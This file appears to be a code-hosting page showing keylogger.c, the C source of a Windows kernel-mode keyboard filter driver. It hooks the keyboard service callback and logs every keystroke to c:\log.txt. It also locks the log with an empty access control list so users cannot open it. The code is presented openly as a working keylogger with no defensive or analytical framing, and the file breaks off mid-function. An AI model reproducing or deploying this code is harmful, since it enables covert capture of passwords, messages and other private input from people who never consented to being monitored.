/
keylogger.c
1176 lines (1015 loc) · 20.8 KB
/
keylogger.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include "keylogger.h"
#ifdef ALLOC_PRAGMA
#pragma alloc_text (INIT, DriverEntry)
#pragma alloc_text (PAGE, KeyLogger_EvtDeviceAdd)
#pragma alloc_text (PAGE, KeyLogger_EvtIoInternalDeviceControl)
#endif
HANDLE fileHandle; // Handle for the log file. Remains open throughout the driver's lifetime.
KEYBOARD_DATA_ARRAY keyboardDataArray; // Structure that holds the global array.
ULONG written; // Total number of records written to the file.
#define LOG_TRIGGER_POINT 16 // Value at which the writing work item fires.
#define SZ_KEYTABLE 0x53 // Size of the scancodes table.
char* keytable[SZ_KEYTABLE] = // Scancodes table.
{
"[INVALID]",
"`",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"-",
"=",
"[BACKSPACE]",
"[INVALID]",
"q",
"w",
"e",
"r",
"t",
"y",
"u",
"i",
"o",
"p",
"[",
"]",
"[ENTER]",
"[CTRL]",
"a",
"s",
"d",
"f",
"g",
"h",
"j",
"k",
"l",
";",
"\'"
"'",
"[LSHIFT]",
"\\",
"z",
"x",
"c",
"v",
"b",
"n",
"m",
",",
".",
"/",
"[RSHIFT]",
"[INVALID]",
"[ALT]",
"[SPACE]",
"[INVALID]",
"[INVALID]",
"[INVALID]",
"[INVALID]",
"[INVALID]",
"[INVALID]",
"[INVALID]",
"[INVALID]",
"[INVALID]",
"[INVALID]",
"[INVALID]",
"[INVALID]",
"[INVALID]",
"7",
"8",
"9",
"[INVALID]",
"4",
"5",
"6",
"[INVALID]",
"1",
"2",
"3",
"0"
};
NTSTATUS
InitKeyboardDataArray
(
)
/**
*
* Initialize Keyboard Data Array. Create spin lock protecting it.
*
* Return:
*
* Status of the operation.
*
**/
{
NTSTATUS status = STATUS_SUCCESS;
//
// Set the initial index to 0
//
keyboardDataArray.index = 0;
//
// Create spin lock that protects the buffer.
//
WDF_OBJECT_ATTRIBUTES spinLockAttributes;
WDF_OBJECT_ATTRIBUTES_INIT(&spinLockAttributes);
status = WdfSpinLockCreate(&spinLockAttributes, &keyboardDataArray.spinLock);
if (!NT_SUCCESS(status))
{
DebugPrint(("WdfSpinLockCreate failed with code: %x\n", status));
return status;
}
return status;
}
VOID
AddToBuffer
(
PKEYBOARD_INPUT_DATA entry
)
/**
*
* Add an element to the array by first obtaining the
* spin lock, then performing addition, and finally
* releasing the spin lock.
*
* Arguments:
*
* PKEYBOARD_INPUT_DATA entry
* Entry to add.
*
**/
{
WdfSpinLockAcquire(keyboardDataArray.spinLock);
keyboardDataArray.buffer[keyboardDataArray.index] = *entry;
keyboardDataArray.index++;
WdfSpinLockRelease(keyboardDataArray.spinLock);
}
DWORD
DumpBuffer
(
PKEYBOARD_INPUT_DATA dest
)
/**
*
* Dump all entries from the keyboard data buffer by first
* obtaining the spin lock, then performing extraction, and
* finally releasing the spin lock.
*
* Arguments:
*
* PKEYBOARD_INPUT_DATA dest
* Where to place the contents of the buffer.
*
* Return:
*
* The number of the entries obtained.
*
**/
{
DWORD n = 0;
WdfSpinLockAcquire(keyboardDataArray.spinLock);
if (dest != NULL)
{
DWORD i;
for (i = 0; i < keyboardDataArray.index; i++)
{
dest[i] = keyboardDataArray.buffer[i];
}
n = i;
keyboardDataArray.index = 0;
}
WdfSpinLockRelease(keyboardDataArray.spinLock);
return n;
}
NTSTATUS
OpenLogFile
(
)
/**
*
* Open the log file for writing. If the file does not yet exist.,
* create it.
*
* Return:
*
* Status of the operation.
**/
{
IO_STATUS_BLOCK ioStatusBlock;
OBJECT_ATTRIBUTES fileObjectAttributes;
NTSTATUS status;
UNICODE_STRING fileName;
//
// Initialize file name
//
RtlInitUnicodeString(&fileName, L"\\DosDevices\\c:\\log.txt");
//
// Initialize file attributes
//
InitializeObjectAttributes(
&fileObjectAttributes,
&fileName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
status = STATUS_SUCCESS;
//
// Create file
//
status = ZwCreateFile(
&fileHandle,
GENERIC_WRITE,
&fileObjectAttributes,
&ioStatusBlock,
NULL,
FILE_ATTRIBUTE_NORMAL,
0, // Exclusive access to the file
FILE_OPEN_IF,
FILE_RANDOM_ACCESS,
NULL,
0);
if (!NT_SUCCESS(status))
{
return status;
}
return status;
}
NTSTATUS
WriteToLogFile
(
DWORD n,
PKEYBOARD_INPUT_DATA buffer
)
/**
*
* Write buffer to the log file.
*
* Arguments:
*
* DWORD n
* Number of entries of type KEYBOARD_INPUT_DATA to
* be written to the log file.
*
* PKEYBOARD_INPUT_DATA buffer
* Buffer containing the data to be written. Note that
* this is NOT the global keyboard data buffer, but a
* safe copy that the work item holds.
*
* Return:
*
* Status of the operation.
*
**/
{
NTSTATUS status;
DWORD i;
USHORT scancode, flags;
//
// Prepare buffer containing characters to write to the file
//
CHAR writeBuffer [SZ_KEYBOARD_DATA_ARRAY * 20];
writeBuffer[0] = '\0';
//
// Write every scan code to the write buffer, with respect
// to the flags (pressed, released)
//
for (i = 0; i < n; i++)
{
scancode = buffer[i].MakeCode;
flags = buffer[i].Flags;
CHAR* asciiRepr = keytable[scancode];
if (scancode >= 0 && scancode < SZ_KEYTABLE)
{
strcat(writeBuffer, asciiRepr);
}
else
{
strcat(writeBuffer, "[N/A]");
}
if (flags == KEY_MAKE)
{
if (strlen(asciiRepr) > 8)
{
strcat(writeBuffer, "\tPressed\r\n");
}
else
{
strcat(writeBuffer, "\t\tPressed\r\n");
}
}
else
{
if (strlen(asciiRepr) > 8)
{
strcat(writeBuffer, "\tReleased\r\n");
}
else
{
strcat(writeBuffer, "\t\tReleased\r\n");
}
}
}
IO_STATUS_BLOCK ioStatusBlock;
LARGE_INTEGER ByteOffset;
ByteOffset.HighPart = -1;
ByteOffset.LowPart = FILE_WRITE_TO_END_OF_FILE;
status = STATUS_SUCCESS;
//
// Write to the file
//
status = ZwWriteFile(
fileHandle,
NULL,
NULL,
NULL,
&ioStatusBlock,
writeBuffer,
strlen(writeBuffer),
&ByteOffset,
NULL);
if (!NT_SUCCESS(status))
{
DebugPrint(("Write to log failed with code: 0x%x\n", status));
goto Exit;
}
Exit:
written += n;
DebugPrint(("Total elements written: %lu\n", written));
return status;
}
NTSTATUS
SetFileDacl
(
)
/**
*
* Set the Discretionary Access Control List (DACL) on
* a log file.
*
* Return:
*
* Status of the operation.
*
**/
{
SECURITY_DESCRIPTOR sd;
PACL acl;
NTSTATUS status;
acl = NULL;
status = STATUS_SUCCESS;
//
// Allocate memory for ACL
//
acl = ExAllocatePool(PagedPool, PAGE_SIZE);
if (acl == NULL)
{
status = STATUS_INSUFFICIENT_RESOURCES;
goto Exit;
}
//
// Create ACL
//
status = RtlCreateAcl(
acl,
PAGE_SIZE,
ACL_REVISION
);
if (!NT_SUCCESS(status))
{
goto Exit;
}
//
// Create security descriptor
//
status = RtlCreateSecurityDescriptor(
&sd,
SECURITY_DESCRIPTOR_REVISION
);
if (!NT_SUCCESS(status))
{
goto Exit;
}
//
// Associate the empty ACL with the security descriptor.
// If there are no ACE in the DACL, the system will not allow
// access to anyone.
//
status = RtlSetDaclSecurityDescriptor(&sd, TRUE, acl, FALSE);
if (!NT_SUCCESS(status))
{
goto Exit;
}
//
// Set security on the object
//
status = ZwSetSecurityObject(
fileHandle,
DACL_SECURITY_INFORMATION,
&sd
);
if (!NT_SUCCESS(status)) {
goto Exit;
}
Exit:
if (acl != NULL)
{
//
// Free resources
//
ExFreePool(acl);
acl = NULL;
}
return status;
}
NTSTATUS
ResetFileDacl
(
)
/**
* Reset file Discretionary Access Control List to
* restore basic permissions.
*
* Return:
*
* Status of the operation.
*
**/
{
SECURITY_DESCRIPTOR sd;
PACL pAcl;
NTSTATUS status;
pAcl = NULL;
status = STATUS_SUCCESS;
//
// Allocate memory for ACL
//
pAcl = ExAllocatePool(PagedPool, PAGE_SIZE);
if (pAcl == NULL)
{
status = STATUS_INSUFFICIENT_RESOURCES;
goto Exit;
}
//
// Create ACL
//
status = RtlCreateAcl(
pAcl,
PAGE_SIZE,
ACL_REVISION
);
if (!NT_SUCCESS(status))
{
goto Exit;
}
//
// Create an Access Control Entries that will restore basic
// rights to the file for system, administrators and users
//
//
// System ACE
//
status = RtlAddAccessAllowedAce(
pAcl,
ACL_REVISION,
GENERIC_READ | GENERIC_WRITE | DELETE,
SeExports->SeLocalSystemSid
);
if (!NT_SUCCESS(status))
{
goto Exit;
}
//
// Administrators ACE
//
status = RtlAddAccessAllowedAce(
pAcl,
ACL_REVISION,
GENERIC_READ | GENERIC_WRITE | DELETE,
SeExports->SeAliasAdminsSid
);
if (!NT_SUCCESS(status))
{
goto Exit;
}
//
// Users ACE
//
status = RtlAddAccessAllowedAce(
pAcl,
ACL_REVISION,
GENERIC_READ,
SeExports->SeAliasUsersSid
);
if (!NT_SUCCESS(status))
{
goto Exit;
}
//
// Create security descriptor
//
status = RtlCreateSecurityDescriptor(
&sd,
SECURITY_DESCRIPTOR_REVISION
);
if (!NT_SUCCESS(status))
{
goto Exit;
}
//
// Associate the empty ACL with the security descriptor.
// If there are no ACE in the DACL, the system will not allow
// access to anyone.
//
status = RtlSetDaclSecurityDescriptor(&sd, TRUE, pAcl, FALSE);
if (!NT_SUCCESS(status))
{
goto Exit;
}
//
// Set security on the object
//
status = ZwSetSecurityObject(
fileHandle,
DACL_SECURITY_INFORMATION,
&sd
);
if (!NT_SUCCESS(status))
{
goto Exit;
}
Exit:
if (pAcl != NULL)
{
//
// Free resources
//
ExFreePool(pAcl);
pAcl = NULL;
}
return status;
}
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
/**
*
* Installable driver initialization entry point.
* This entry point is called directly by the I/O system.
*
* Arguments:
*
* PDRIVER_OBJECT DriverObject
* Pointer to the driver object
*
* PUNICODE_STRING RegistryPath
* Pointer to a unicode string representing the path,
* to driver-specific key in the registry.
*
* Return Value:
*
* Status of the operation.
*
**/
{
WDF_DRIVER_CONFIG config;
NTSTATUS status;
DebugPrint(("KeyLogger KMDF Driver.\n"));
DebugPrint(("Built %s %s\n", __DATE__, __TIME__));
//
// Initiialize driver config.
//
WDF_DRIVER_CONFIG_INIT(
&config,
KeyLogger_EvtDeviceAdd
);
//
// Specify driver's Unload function.
//
//config.EvtDriverUnload = DriverUnload;
//
// Create a framework driver object.
//
status = WdfDriverCreate(
DriverObject,
RegistryPath,
WDF_NO_OBJECT_ATTRIBUTES,
&config,
WDF_NO_HANDLE
);
if (!NT_SUCCESS(status))
{
DebugPrint(("WdfDriverCreate failed with status 0x%x\n",
status));
}
return status;
}
NTSTATUS
KeyLogger_EvtDeviceAdd(
IN WDFDRIVER Driver,
IN PWDFDEVICE_INIT DeviceInit
)
/**
*
* DeviceAdd routine.
* Called in response to AddDevice call from PnP manager.
*
**/
{
WDF_OBJECT_ATTRIBUTES deviceAttributes;
NTSTATUS status;
WDFDEVICE hDevice;
PDEVICE_EXTENSION filterExt;
WDF_IO_QUEUE_CONFIG ioQueueConfig;
UNREFERENCED_PARAMETER(Driver);
PAGED_CODE();
//
// Tell the framework that you are filter driver. Framework
// takes care of inherting all the device flags & characterstics
// from the lower device you are attaching to.
//
WdfFdoInitSetFilter(DeviceInit);
WdfDeviceInitSetDeviceType(
DeviceInit,
FILE_DEVICE_KEYBOARD
);
WDF_OBJECT_ATTRIBUTES_INIT_CONTEXT_TYPE(
&deviceAttributes,
DEVICE_EXTENSION
);
//
// Create a framework device object.
//
status = WdfDeviceCreate(
&DeviceInit,
&deviceAttributes,
&hDevice
);
if (!NT_SUCCESS(status))
{
DebugPrint(("WdfDeviceCreate failed with status code 0x%x\n",
status));
return status;
}
//
// Get device extension data.
//
filterExt = GetDeviceExtension(hDevice);
//
// Configure the default queue to be Parallel. Do not use sequential queue
// if this driver is going to be filtering PS2 ports because it can lead to
// deadlock. The PS2 port driver sends a request to the top of the stack when it
// receives an ioctl request and waits for it to be completed. If you use a
// a sequential queue, this request will be stuck in the queue because of the
// outstanding ioctl request sent earlier to the port driver.
//
WDF_IO_QUEUE_CONFIG_INIT_DEFAULT_QUEUE(
&ioQueueConfig,
WdfIoQueueDispatchParallel
);
//
// Framework by default creates non-power managed queues for
// filter drivers.
//
ioQueueConfig.EvtIoInternalDeviceControl = KeyLogger_EvtIoInternalDeviceControl;
status = WdfIoQueueCreate(
hDevice,
&ioQueueConfig,
WDF_NO_OBJECT_ATTRIBUTES,
WDF_NO_HANDLE
);
if (!NT_SUCCESS(status))
{
DebugPrint( ("WdfIoQueueCreate failed 0x%x\n", status));
return status;
}
//
// Create work item.
//
CreateWorkItem(hDevice);
//
// Initialize global structures, create, open and set proper permissions
// on the log file. This is done to deny any access to the file while
// the driver is loaded. Howerver note that the administrator can always
// change the ownership of a file, thus acquiring access to the file.
// This should however never happen when the driver is loaded, as it
// keeps handle to the log file open.
//
InitKeyboardDataArray();
OpenLogFile();
SetFileDacl();
//
// Set total written records field to 0.
//
written = 0;
return status;
}
VOID
KeyLogger_EvtIoInternalDeviceControl(
IN WDFQUEUE Queue,
IN WDFREQUEST Request,
IN size_t OutputBufferLength,
IN size_t InputBufferLength,
IN ULONG IoControlCode
)
/**
*
* Dispatch routine for internal device control requests.
*
**/
{
PDEVICE_EXTENSION devExt;
PINTERNAL_I8042_HOOK_KEYBOARD hookKeyboard = NULL;
PCONNECT_DATA connectData = NULL;
NTSTATUS status = STATUS_SUCCESS;
size_t length;
WDFDEVICE hDevice;
BOOLEAN ret = TRUE;
WDF_REQUEST_SEND_OPTIONS options;
UNREFERENCED_PARAMETER(OutputBufferLength);
UNREFERENCED_PARAMETER(InputBufferLength);
UNREFERENCED_PARAMETER(hookKeyboard);
PAGED_CODE();
hDevice = WdfIoQueueGetDevice(Queue);
devExt = GetDeviceExtension(hDevice);
switch (IoControlCode)
{
//
// Connect a keyboard class device driver to the port driver.
//
case IOCTL_INTERNAL_KEYBOARD_CONNECT:
//
// Only allow one connection.
//
if (devExt->UpperConnectData.ClassService != NULL) {
status = STATUS_SHARING_VIOLATION;
break;
}
//
// Get the input buffer from the request
// (Parameters.DeviceIoControl.Type3InputBuffer).
//
status = WdfRequestRetrieveInputBuffer(Request,
sizeof(CONNECT_DATA),
&connectData,
&length);
if(!NT_SUCCESS(status)){
DebugPrint(("WdfRequestRetrieveInputBuffer failed %x\n", status));
break;
}
NT_ASSERT(length == InputBufferLength);
devExt->UpperConnectData = *connectData;
//
// Hook into the report chain. Everytime a keyboard packet is reported
// to the system, KbFilter_ServiceCallback will be called
//
connectData->ClassDeviceObject = WdfDeviceWdmGetDeviceObject(hDevice);
#pragma warning(disable:4152) //nonstandard extension, function/data pointer conversion
connectData->ClassService = KeyLogger_ServiceCallback;
#pragma warning(default:4152)
break;
//
// Disconnect a keyboard class device driver from the port driver.
//
case IOCTL_INTERNAL_KEYBOARD_DISCONNECT:
//
// Clear the connection parameters in the device extension.
//
// devExt->UpperConnectData.ClassDeviceObject = NULL;
// devExt->UpperConnectData.ClassService = NULL;
status = STATUS_NOT_IMPLEMENTED;
break;
//
// Might want to capture these in the future. For now, then pass them down
// the stack. These queries must be successful for the RIT to communicate
// with the keyboard.
//
case IOCTL_KEYBOARD_QUERY_INDICATOR_TRANSLATION:
case IOCTL_KEYBOARD_QUERY_INDICATORS:
case IOCTL_KEYBOARD_SET_INDICATORS:
case IOCTL_KEYBOARD_QUERY_TYPEMATIC:
case IOCTL_KEYBOARD_SET_TYPEMATIC:
break;
}
if (!NT_SUCCESS(status))
{
WdfRequestComplete(Request, status);
return;
}
//
// We are not interested in post processing the IRP so
// fire and forget.
//
WDF_REQUEST_SEND_OPTIONS_INIT(&options,
WDF_REQUEST_SEND_OPTION_SEND_AND_FORGET);
ret = WdfRequestSend(Request, WdfDeviceGetIoTarget(hDevice), &options);
if (ret == FALSE)
{
status = WdfRequestGetStatus (Request);
DebugPrint(("WdfRequestSend failed: 0x%x\n", status));
WdfRequestComplete(Request, status);
}
}
VOID
KeyLogger_ServiceCallback(
IN PDEVICE_OBJECT DeviceObject,
IN PKEYBOARD_INPUT_DATA InputDataStart,
IN PKEYBOARD_INPUT_DATA InputDataEnd,
IN OUT PULONG InputDataConsumed
)
/**
*
* Callback that is called when the keyboard packets are
* to be reported to the Win32 subsystem.
* In this function the packets are added to the global
* keyboard data buffer.
*
**/
{
PDEVICE_EXTENSION devExt;
WDFDEVICE hDevice;
hDevice = WdfWdmDeviceGetWdfDeviceHandle(DeviceObject);
//
// Get the Device Extension.
//
devExt = GetDeviceExtension(hDevice);
ULONG totalKeys;
PKEYBOARD_INPUT_DATA inputKey;
totalKeys = (ULONG)(InputDataEnd - InputDataStart);
inputKey = InputDataStart;
DWORD i;
//
// Loop that adds all keyboard data to the global array.
//
for (i = 0; i < totalKeys; i++)
{
AddToBuffer(&inputKey[i]);
}
DWORD index = keyboardDataArray.index;
//
// Check if the number of elements in the global buffer
// exceeds or is equal to the preset point.
//
// Note that due to the fact that the work item is queued
//
//
if (index >= LOG_TRIGGER_POINT)